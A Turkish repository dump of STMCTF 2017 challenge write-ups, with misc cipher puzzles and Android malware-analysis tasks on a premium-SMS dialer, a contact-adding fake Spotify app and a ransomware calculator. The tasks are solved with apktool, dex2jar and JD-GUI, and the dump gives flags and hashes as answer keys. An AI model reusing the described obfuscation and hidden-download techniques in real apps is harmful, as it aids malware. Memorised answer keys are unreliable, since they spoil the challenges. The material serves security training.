ortaya çıkıyor. 19 | Gerisi şarkı isimlerinin baş harflerini yan yana yazmak. 20 | 21 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MISC/KarisikKaset/karisikkaset2.png) 22 | 23 | 24 | ``` 25 | S She and Her Darkness - Diary of Dreams 26 | T T.N.T. - AC/DC 27 | M Mjød - Kvelertak 28 | C Crawling (Official Video) - Linkin Park 29 | T Toy Yillar - TINI 30 | F FaceSlap! - Antisilence 31 | { { - Stories In Red 32 | S So Far Away - Dire Straits 33 | T This Is the Life - Amy Macdonald 34 | 3 3000 - David Duchovny 35 | G Göreceksin Kendini - Nilüfer 36 | A Absolute Zero - Stone Sour 37 | N N'olur N'olur N'olur - Yasemin Mori 38 | O One for the Road - Saints 'N' Sinners 39 | _ _ - Nell 40 | Y Your Dreams Won't Die - Magnum 41 | A Alagözlerini Sevdigim Dilber - Badem 42 | L La Grange - ZZ Top 43 | A Anatolia (Version 1) - Pentagram 44 | N Nomad - Sepultura 45 | + + - Of Mice & Men 46 | M Ma Baker - Boney M 47 | U Umrumda Değil - Sokak Köpekleri 48 | 2 2 Minutes To Midnight (1998 Remaster) - Iron Maiden 49 | I ICH TU DIR WEH - Rammstein 50 | K Killing Me Killing You - Sentenced 51 | ! ! - Batfoot! 52 | S Song 2 - Blur 53 | A All of Me - John Legend 54 | H Hatıralar - Mirkelam 55 | A Angry Son - Radical Noise 56 | N No Regrets - Edith Piaf 57 | E Electric Worry - Clutch 58 | . . . . - Wolverine 59 | } } - Stories In Red 60 | 61 | ``` 62 | FLAG: STMCTF{ST3GANO_YALAN+MU2IK!SAHANE.} 63 | -------------------------------------------------------------------------------- /MISC/KarisikKaset/karisikkaset1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/KarisikKaset/karisikkaset1.png -------------------------------------------------------------------------------- /MISC/KarisikKaset/karisikkaset2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/KarisikKaset/karisikkaset2.png -------------------------------------------------------------------------------- /MISC/NURELLA/67b99362ffe51662399a5c2bad15e284.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/NURELLA/67b99362ffe51662399a5c2bad15e284.jpg -------------------------------------------------------------------------------- /MISC/NURELLA/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | ## Soru İsmi: NURELLA 4 | 5 | ## Soru Metni: 67b99362ffe51662399a5c2bad15e284.jpg 6 | 7 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MISC/NURELLA/67b99362ffe51662399a5c2bad15e284.jpg) 8 | 9 | ## Çözüm: 10 | 1. Yarışmacı verilen resmin metadatsına exiftool ile baktığında comment bölümünde yazan hex stringi buluyor: 11 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MISC/NURELLA/nur1.png) 12 | 13 | 2. Sorunun ismi NURELLA ve resimde yazan da ÇAREniz NURELLA şeklinde algılanabilir. 14 | 3. Bulunan hexadecimal string “NURELLA” ile XORlandığında flag bulunuyor. 15 | 4. NURELLA yı hexadecimale çeviriyoruz: 4e5552454c4c41 16 | 5. Bulunan hexadecimal değer 70 karakterli NURELLA nın hexadecimali ise 14 karakter. Bu nedenle NURELLA nın hexadecimal değerini 5 kere yazıyoruz ve bu şekilde XOR luyoruz. 17 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MISC/NURELLA/nur2.png) 18 | 19 | 6. Bulunan hexadecimal değeri (53544d4354467b41795f6e655f4b344434725f5933725f79416e6469213f213f213f7d) ASCII ye çevirdiğimizde flag i elde ediyoruz: 20 | 21 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MISC/NURELLA/nur3.png) 22 | 23 | Flag = STMCTF{Ay_ne_K4D4r_Y3r_yAndi!?!?!?} = 8FBDA0AAC22A1602DF86FBC761E56AA0 24 | -------------------------------------------------------------------------------- /MISC/NURELLA/nur1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/NURELLA/nur1.png -------------------------------------------------------------------------------- /MISC/NURELLA/nur2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/NURELLA/nur2.png -------------------------------------------------------------------------------- /MISC/NURELLA/nur3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/NURELLA/nur3.png -------------------------------------------------------------------------------- /MISC/OokYasa/09f16d5a13fcbeeedf6d6f3e5b8824bc.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/OokYasa/09f16d5a13fcbeeedf6d6f3e5b8824bc.zip -------------------------------------------------------------------------------- /MISC/OokYasa/README.md: -------------------------------------------------------------------------------- 1 | 2 | ## Soru İsmi: Zafiyeti Bul 3 | 4 | ## Soru Metni: 5 | 09f16d5a13fcbeeedf6d6f3e5b8824bc.zip 6 | 7 | ## Çözüm: 8 | 9 | 1. Verilen metin http://www.dcode.fr/ook-language benzeri bir site yardımıyla düz metin’e çevrildiğinde şu sonuç çıkar: STMCTF{ook_is_a_cool_language}. 10 | 11 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MISC/OokYasa/ook1.png) 12 | 13 | 14 | 2. Panele girilmesi gereken değer: MD5(STMCTF{ook_is_a_cool_language})= 2FACDA7E08562E6F51B74A62018E6C12 15 | -------------------------------------------------------------------------------- /MISC/OokYasa/ook1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/OokYasa/ook1.png -------------------------------------------------------------------------------- /MISC/README.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /MISC/SatirSutun/18f93631294fd8aebd1b57484e511bf6.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/SatirSutun/18f93631294fd8aebd1b57484e511bf6.zip -------------------------------------------------------------------------------- /MISC/SatirSutun/README.md: -------------------------------------------------------------------------------- 1 | ## Soru İsmi: Satır - Sütun 2 | 3 | ## Soru Metni: 4 | 27.08.2011 tarihli Old School Emulation Center (TOSEC) Naming Convention PDF dosyasının Dördüncü sayfanın, yedinci satırının, onbirinci kelimesinin, ikinci harfi O'dur. O zaman bu nedir? 5 | ``` 6 | STMCTF{12010101120202022501010301020203010202021901020126010402250201011701040222020204010101032001010425020403260301091705050425031104} 7 | ``` 8 | ## Çözüm: 9 | 10 | 1. 18f93631294fd8aebd1b57484e511bf6.zip icerisinden icerisinden tnc_v2011-08-27.pdf dosyasi cikmaktadir. 11 | 12 | 2. Soruda Old School Emulation Center (TOSEC) Naming Convention PDF dosyasının (tnc_v2011-08-27.pdf) sayfa, satir, kelime ve harf olarak tarifi ile O harfinin yeri tarif edilmektedir. PDF dokümandan sorudaki O harfi bulunduktan sonra, basliklarin da satir olarak sayildigi anlasilmaktadir. Sayfa - Satır - Kelime - Harf olarak düzenlenmiş. 13 | 14 | 3. PDF kitap 26 sayfa olunca her bir bölümün 2 rakam ile ifade edileceği düşünülebilir. Bu nedenle rakamları ayrabilmek gerekiyor. Sayfa (2) - Satır (2) - Kelime (2) - Harf (2) = 8 rakam. Elde bulunan sayı grubu 8'li sayı gruplarına bolunur. 15 | 16 | ``` 17 | 12010101 18 | 12020202 19 | 25010103 20 | 01020203 21 | 01020202 22 | 19010201 23 | 26010402 24 | 25020101 25 | 17010402 26 | 22020204 27 | 01010103 28 | 20010104 29 | 25020403 30 | 26030109 31 | 17050504 32 | 25031104 33 | ``` 34 | 35 | 4. Bu grubu da 2'li sayı gruplarına bolunur. 36 | ``` 37 | Sayfa - Satır - Kelime - Harf 38 | 12 01 01 01 39 | 12 02 02 02 40 | 25 01 01 03 41 | 01 02 02 03 42 | 01 02 02 02 43 | 19 01 02 01 44 | 26 01 04 02 45 | 25 02 01 01 46 | 17 01 04 02 47 | 22 02 02 04 48 | 01 01 01 03 49 | 20 01 01 04 50 | 25 02 04 03 51 | 26 03 01 09 52 | 17 05 05 04 53 | 25 03 11 04 54 | ``` 55 | 56 | 5. 12'nci Sayfanın, 01'inci Satırının, 01'inci Kelimesinin, 01'inci harfi B'dir. 57 | 58 | ``` 59 | 12 01 01 01 B 60 | 12 02 02 02 u 61 | 25 01 01 03 l 62 | 01 02 02 03 m 63 | 01 02 02 02 a 64 | 19 01 02 01 c 65 | 26 01 04 02 a 66 | 25 02 01 01 T 67 | 17 01 04 02 a 68 | 22 02 02 04 m 69 | 01 01 01 03 S 70 | 20 01 01 04 e 71 | 25 02 04 03 n 72 | 26 03 01 09 l 73 | 17 05 05 04 i 74 | 25 03 11 04 k 75 | ``` 76 | 77 | Son harfin bulunusu ornek olarak verilmistir. 78 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MISC/SatirSutun/satirsutun.png) 79 | 80 | 81 | 6. Tüm harfler çıkınca flag BulmacaTamSenlik olarak çıkıyor. Soruda da STMCTF{} arasına rakamlar koyulduğu için flag STMCTF{BulmacaTamSenlik} olarak bulunur. 82 | -------------------------------------------------------------------------------- /MISC/SatirSutun/satirsutun.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/SatirSutun/satirsutun.png -------------------------------------------------------------------------------- /MISC/ZafiyetiBul/README.md: -------------------------------------------------------------------------------- 1 | 2 | ## Soru İsmi: Zafiyeti Bul 3 | 4 | ## Soru Metni: 5 | 6 | @areyouaresearcher’daki exploit kodu dünya çapında etki yaratan hangi güvenlik açığının kodudur? 7 | 8 | ## Çözüm: 9 | 10 | 1. @areyouaresearcher’daki exploit kodunun hangi güvenlik açığının kodu olduğu soruluyordu. Burada ilk olarak @areyouaresearcher hesabını internet üzerinden bulmak gerekiyordu. Hesap kod paylaşım platformu olan Github’da bulunmaktaydı. 11 | 12 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MISC/ZafiyetiBul/zaf1.png) 13 | 14 | 2. Github üzerinde bulunan @areyouaresearcher hesabında ctf17.py kodunu okuyarak exploit kodunun hangi güvenlik açığına karşı yazıldığını bulmak gerekmekteydi. 15 | 16 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MISC/ZafiyetiBul/zaf2.png) 17 | 18 | 3. Kod Google üzerinde de araştırıldığı taktirde MS17-010 kodlu zafiyet için yazıldığı bulunabilirdi. 19 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MISC/ZafiyetiBul/zaf2.png) 20 | 21 | Bulunan zafiyet STMCTF bayrak formatına göre md5 değeri bulunur. 22 | 23 | $echo -n 'STMCTF{MS17-010}' | md5sum 24 | 25 | aa69084aa15efe4cfc5d8053ec918a3f 26 | 27 | -------------------------------------------------------------------------------- /MISC/ZafiyetiBul/zaf1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/ZafiyetiBul/zaf1.png -------------------------------------------------------------------------------- /MISC/ZafiyetiBul/zaf2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/ZafiyetiBul/zaf2.png -------------------------------------------------------------------------------- /MISC/ZafiyetiBul/zaf3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/ZafiyetiBul/zaf3.png -------------------------------------------------------------------------------- /MOB/Matrix/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | ## Soru İsmi: Matrix 4 | 5 | ## Soru Metni: 6 | 7 | Gerçek sandığın spotify uygulaması aslında bir zararlı ve senin rehberine senden habersiz hiç tanımadığın bir ajanın numarasını kaydediyor. Ajanın ismini bul SHA256 ile hashle bulduğun değer flag.zip dosyasının parolası. Hadi durma flag seni bekliyor. 8 | 9 | ## Çözüm: 10 | 11 | Verilen calculator.apk dosyası apktool aracı ile disassamble edilir. AndroidManifest.xml dosyası detaylı olarak incelenir. 12 | Permissionlar incelenir. Bir hesap makinası uygulaması için çok sayıda ve gereksiz izin talep ettiği farkedilir. Özellikle RECEIVE_BOOT_COMPLETED izni şüphelidir. Hangi BroadcastReceiverı aktive ettiği aranır ve tespit edilir. 13 | 14 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MOB/Matrix/mat1.png) 15 | 16 | BOOT_COMPLETED ile tetiklenen Receiver sınıfının com.spotfy.music.songReceiver 17 | olduğu anlaşılır. 18 | 19 | 2. Calculator.apk dosyası unzip edilir, classes.dex dosyasına ulaşılır. 20 | 21 | 22 | 3. Classes.dex dosyası sırasıyla dex2jar + JDGUI araçlarıyla kaynak koda dönüştürülür. 23 | 24 | 4. sonReceiver sınıfının kaynak kodu detaylı incelendiğinde şunlar farkedilir. 25 | getString() fonksyonu kullanılmıştır. Bu fonksyon Strings.xml dosyasından bir değer okumak için kullanılan bir fonksyondur. Ayrıca daha sonra String.xml dosyasından elde edilen değerin bir DownloadManager sınıfı objesinin Request() fonksyonuna parametre olarak gönderildiği anlaşılır. ki Uri.parse(….) kullanımı da göz önüne alındığında girilen argümanın bir URL adresi olduğu anlaşılır. 26 | 27 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MOB/Matrix/mat2.png) 28 | 29 | 5. Bu noktadan sonra String.xml dosyasında anlamlı bir URL adresi aranmaya başlanır. 30 | Aramaların çoğunda zararlı repackage edildiğinden çeşitli resmi spotify subdomain adresleriyle karşılaşılır ancak son noktada; 31 | http://dpaste.com/3QMJVWN.txt adresi bulunmuş olur. 32 | 33 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MOB/Matrix/mat3.png) 34 | 35 | 6. Bahsi geçen adrese gidildiğinde aranan değerin Smith olduğu bulunur. 36 | 37 | 7. Smith değerinin SHA256 değeri alınıp flag.zip dosyasının parolası bulunur. 38 | 39 | 8. Flag değerinin STMCTF{what_is_matrix} olduğu anlaşılır 40 | -------------------------------------------------------------------------------- /MOB/Matrix/flag.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/Matrix/flag.zip -------------------------------------------------------------------------------- /MOB/Matrix/mat1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/Matrix/mat1.png -------------------------------------------------------------------------------- /MOB/Matrix/mat2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/Matrix/mat2.png -------------------------------------------------------------------------------- /MOB/Matrix/mat3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/Matrix/mat3.png -------------------------------------------------------------------------------- /MOB/PREMIUM-NUMBER/6c7235643de4bebd2a10820a3b7853f6.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/PREMIUM-NUMBER/6c7235643de4bebd2a10820a3b7853f6.zip -------------------------------------------------------------------------------- /MOB/PREMIUM-NUMBER/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | ## Soru İsmi: PREMIUM-NUMBER 4 | 5 | ## Soru Metni: 6 | 7 | Verilen Satranç programının aslında Premium numaralara sürekli SMS atan bir 8 | Dialer tipi zararlı olduğu ay sonu gelen kabarık faturadan anlaşılmakta. 9 | Senin görevin bu numarayı bulmak. Bu sayede yetkili mercilere gerekli şikayeti 10 | yapabileceğiz. 11 | 12 | Flag'in ise soruda verilen Flag.zip dosyasının içinde saklı. Boşuna Brute force yapmaya çalışma zaman yetmiyor biz denedik :) Bunun yerine uygulama içinden tespit ettiğin telefon numarasının SHA256 hashini al. İşte burdan elde edeceğin sonuç seni flagine kavuşturacak parolan olacak. 13 | 6c7235643de4bebd2a10820a3b7853f6.zip 14 | 15 | 16 | ## Çözüm: 17 | 1. Chess.apk dosyası verilmiş, içinde zararlı kod barındırdığı belirtilmiştir. Öncelikte uygulama dosyasının unzip edilip binary kodları barındıran classes.dex dosyasına erişilmesi gerekir. Classes.dex dosyasını daha sonra kullanmak üzere kenarda tutalım. 18 | 19 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MOB/PREMIUM-NUMBER/prem1.png) 20 | 21 | 2. Bu aşamada Chess.apk dosyası apktool aracı’nın d opsyonu ile disassemle edilir ve okunabilir AndroidManifest dosyasına erişilir. 22 | 23 | 24 | apktool d chess.apk 25 | 26 | 27 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MOB/PREMIUM-NUMBER/prem2.png) 28 | 29 | 3. AndoidManifest.xml dosyası incelenir.Dikkat edilmesi gereken noktalar izinler, aktiviteler, receiverlar ve intentlerdir.Bu noktada izinler incelendiğinde RECEIVE_BOOT_COMPLETED izninin oldukça şüpheli olduğu görülür.Aşağıya inip Receiverlar incelendiğinde bu broadcasti zlab.stm.com.premiumnor1.chessReceiver isimli sınıfının dinlediği anlaşılır. Bir diğer şüpheli sınıfımız da hemen alttında yer alan zlab.stm.com.premiumnor1.chessService isimli service bileşenidir. 30 | 31 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MOB/PREMIUM-NUMBER/prem3.png) 32 | 33 | 4. Sıra ilk aşamada extract ettiğimiz classes.dex dosyasını tersine mühendislik yöntemiyle kaynak koduna döndürme aşamasına gelmiştir.Bu amaç için dex2jar+JDGUI ikilisi açık kaynak çözümler olarak tercih edilebilir. 34 | 35 | 36 | sh d2j-dex2jar.sh classes.dex 37 | 38 | 39 | 5. Kaynak kodu incelediğimizde chessReceiver sınıfının BOOT_COMPLETED Broadcastini alır almaz arka planda çalışacak olan chessService sınıfını çağırdını anlarız. Bu durumda ilgi odağımızı chessService sınıfına çeviririz. 40 | 41 | 42 | 43 | 6. ChessService sınıfını incelediğimizde şüpheli bir reflection çağrısıyla karşılaşırız.Reflection yapısını detaylı incelediğimizde ismi maskelenmiş bir sınıfın ve ismi maskelenmiş bir methodunun çağrıldığını görürüz. 44 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MOB/PREMIUM-NUMBER/prem4.png) 45 | 46 | 47 | 7. Bu noktada Runtime’da kullanılan class’ın isminin str2, bu classa ait methodun isminin ise str3 olduğunu gözlemleriz. Ayrıca bu methodun str1 argümanıyla çağrıldığını anlarız. Bu noktadan itibaren sıra bu dizgelerin ne olduğunu çözmeye gelir. 48 | 49 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MOB/PREMIUM-NUMBER/prem5.png) 50 | 51 | str2 ve str3 dizgelerinin çalışma zamanında functionFoo isimli fonkyonun çalıştırılması sonucunda elde edildiği anlaşılmaktadır. FunctionFoo() fonkyonunu gidip incelemeye alırız. 52 | Kaynak kodu inceleyip anladığımızda aslında fonksyonun bir Ceaser Cipher olduğu anlaşılmaktadır.Cipher’ın girdilerini decipher ettiğimizde karşımıza çıkan 2 değer; 53 | android.telephony.SmsManager 54 | sendTextMessage 55 | dizgeleridir. Bu sınıf ve metodun SMS text message atmak için kullanılan sınıf ve o sınıfa ait method olduklarını anlarız. Methodun imzasını incelediğimizde aldığı argümanlardan birinin SMS göndereceği telefon numarası olduğu anlaşılmaktadır.O halde str1 dizgesi aradığımız gizli bilgi olan premium number değerinin kendisi olduğu anlaşılmaktadır. 56 | 57 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MOB/PREMIUM-NUMBER/prem6.png) 58 | 59 | 8. str1 dizgesinin nasıl elde edildiğine döndüğümüzde aşağıdaki reklendirilmiş satırla karşılaşırız; 60 | Sırasıyla “” içinde verilen dizgenin get() fonksyonundan gelen değerle Encrption fonkyonuna sokulduğu, çıkan değerin de Base64Decoder fonkyonuna girdi olarak girdiğini görürüz. 61 | 62 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MOB/PREMIUM-NUMBER/prem7.png) 63 | 64 | 9. get()fonksyonuna gidip baktığımızda assets folderından .txt uzantılı bir dosyayı okuduğunu anlarız.Dosyayı gidip okuduğumuzda bu değerin EncryptionFunc() dosyasının anahtar değeri olduğu anlaşılır. 65 | 66 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MOB/PREMIUM-NUMBER/prem8.png) 67 | 68 | Anahtar değer; 69 | 17 adet sıfır değerinin ardından da STM harfleridir 70 | 71 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MOB/PREMIUM-NUMBER/prem8.png) 72 | 73 | 10. Sıra bu anahtar değerin ve anlamsızlaştırılmış dizgenin EncrptionFunc() fonksyonu içinde nasıl işlendiğini anlamaya gelir. Aşağıdaki fonkyon detaylı incelendiğinde basit bir XOR işlemi yapıldığı anlaşılır. Fonksyon bilinen 2 değerle çalıştırılır, çıktı elde edilir. 74 | 75 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MOB/PREMIUM-NUMBER/prem10.png) 76 | 77 | 11. Elde edilen çıktı son olarak da aşağı da gösterilen Base64Decoder() fonkyonuna gönderilir. 78 | 79 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MOB/PREMIUM-NUMBER/prem11.png) 80 | 81 | 12. Fonkyon sembolik veya gerçek olarak çalıştırıp bakıldığında; 82 | 3805052939136 numaralı telefona ulaşılır ki SMS gönderilen telefon numarasının bu olduğu anlaşılır. 83 | 84 | 13. Bu değerin 256 Hash değeri alındığında flagi içeren dosyanın parolası bulunur. 85 | 86 | echo -n "3805052939136" | sha256sum 87 | bab8773e366b559fcf2053403b92b67c1465ed0fe6cca529786c95ba61ed4deb 88 | 89 | 14. Elde edilen parola ile .zip dosyası açılır. 90 | 91 | 15. zip dosyasının içinden ulaşılan STMCTF{Tisikkirler_superman} flag değerinin MD5 hash değeri alınarak nihai sonuç elde edilir. 92 | -------------------------------------------------------------------------------- /MOB/PREMIUM-NUMBER/flag.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/PREMIUM-NUMBER/flag.zip -------------------------------------------------------------------------------- /MOB/PREMIUM-NUMBER/prem1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/PREMIUM-NUMBER/prem1.png -------------------------------------------------------------------------------- /MOB/PREMIUM-NUMBER/prem10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/PREMIUM-NUMBER/prem10.png -------------------------------------------------------------------------------- /MOB/PREMIUM-NUMBER/prem11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/PREMIUM-NUMBER/prem11.png -------------------------------------------------------------------------------- /MOB/PREMIUM-NUMBER/prem2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/PREMIUM-NUMBER/prem2.png -------------------------------------------------------------------------------- /MOB/PREMIUM-NUMBER/prem3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/PREMIUM-NUMBER/prem3.png -------------------------------------------------------------------------------- /MOB/PREMIUM-NUMBER/prem4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/PREMIUM-NUMBER/prem4.png -------------------------------------------------------------------------------- /MOB/PREMIUM-NUMBER/prem5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/PREMIUM-NUMBER/prem5.png -------------------------------------------------------------------------------- /MOB/PREMIUM-NUMBER/prem6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/PREMIUM-NUMBER/prem6.png -------------------------------------------------------------------------------- /MOB/PREMIUM-NUMBER/prem7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/PREMIUM-NUMBER/prem7.png -------------------------------------------------------------------------------- /MOB/PREMIUM-NUMBER/prem8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/PREMIUM-NUMBER/prem8.png -------------------------------------------------------------------------------- /MOB/PREMIUM-NUMBER/prem9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/PREMIUM-NUMBER/prem9.png -------------------------------------------------------------------------------- /MOB/README.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /MOB/Ransomware/4113c0e5a8ed4bc8e81f8dbcf8beeef5.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/Ransomware/4113c0e5a8ed4bc8e81f8dbcf8beeef5.zip -------------------------------------------------------------------------------- /MOB/Ransomware/README.md: -------------------------------------------------------------------------------- 1 | 2 | ## Soru İsmi: RANSOMWARE 3 | 4 | ## Soru Metni: 5 | 6 | Verilen Hesap makinası uygulamasına gizlenmiş olan Ransomware uygulaması telefon üzerindeki bütün verileri şifreleyip senden fidye talep etmekte. Fakat zararlı yazılımın kodlayıcıları bir hata yapmış ve sürekli aynı şifreleme anahtarını kullanmışlar. Bakalım uygulamayı analiz edip bu anahtarı bulabilecek misin. Not: Anahtarı bulduktan sonra SHA256 hash’ini al. Bu senin flag.zip dosyanın parolası olacaktır. 7 | 8 | ## Çözüm: 9 | 10 | 1.Verilen calculator.apk dosyası apktool aracı ile disassamble edilir. 11 | AndroidManifest.xml dosyası detaylı olarak incelenir. 12 | a) Permissionlar incelenir. Bir hesap makinası uygulaması için çok sayıda ve gereksiz izin talep ettiği farkedilir. Özellikle RECEIVE_BOOT_COMPLETED izni şüphelidir: 13 | b) Hangi BroadcastReceiverı aktive ettiği aranır ve tespit edilir: 14 | 15 | 2.Calculator.apk dosyası unzip edilir, classes.dex dosyasına ulaşılır. 16 | 3.Classes.dex dosyası sırasıyla dex2jar + JDGUI araçlarıyla kaynak koda dönüştürülür. 17 | 4.advransomReceiver sınıfının arka planda çalışan advransomService sınıfını aktive ettiği anlaşılır. Ayrıca bu çağrıdan hemen önce downloadMaliciousAPK() fonksyonun da çağrıldığı görülür. Fonkyonun isminden zararlı bir davranış sergilediği anlaşılır. 18 | 19 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MOB/Ransomware/ran1.png) 20 | 21 | 5.Bu noktada soru 2 şekilde de çözülebilir. Ya uygulama dinamik olarak çalıştırıp gerekli Broadcast ile tetiklenip zararlı yeni .apk uygulama dosyasının indirilmesi sağlanır veya herhangi bir obfuscation kullanılmadığından direkt olarak koda harcoded olarak gömülmüş URL adresine gidilir ve zararlı .apk download edilir. 22 | 6.Biz çözümünüzü direkt URL adresine gidip zararlı .apk’yı indirme üzerine yapacağız. 23 | 7. İndirilen .apk dosyasını yukarıdaki süreçlere benzer şekilde reverse ve disassamble ettiğimizde aşağıdaki kaynak kodla karşılaşırız. Kaynak kodu detaylı incelediğimizde renklendirilmiş URL adresinden bahsi geçen anahtar değerinin indirildiğini anlarız. 24 | 25 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MOB/Ransomware/ran2.png) 26 | 27 | 28 | 8.URL adresine gittiğimizde aşağıdaki anahtar değerini bulmuş oluruz. 29 | 30 | 9.Elde edilen dizgeyi SHA256 hash fonksyonuna soktuğumuzda flag’i içeren zip dosyasının parolasını elde etmiş oluruz. 31 | 32 | 10.Bu parolayla flag.zip dosyasını açarız. 33 | 34 | 11.zip dosyasından çıkan flag değerimiz STMCTF{simdi_decryption_zamani} dir. Bu dizgenin de MD5 hash değeri alınarak panele girilir. 35 | -------------------------------------------------------------------------------- /MOB/Ransomware/flag.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/Ransomware/flag.zip -------------------------------------------------------------------------------- /MOB/Ransomware/ran1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/Ransomware/ran1.png -------------------------------------------------------------------------------- /MOB/Ransomware/ran2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/Ransomware/ran2.png -------------------------------------------------------------------------------- /MOB/TombulKus/6b6251894b1f2922d9860b9c4e99e7d5.zip: -------------------------------------------------------------------------------- 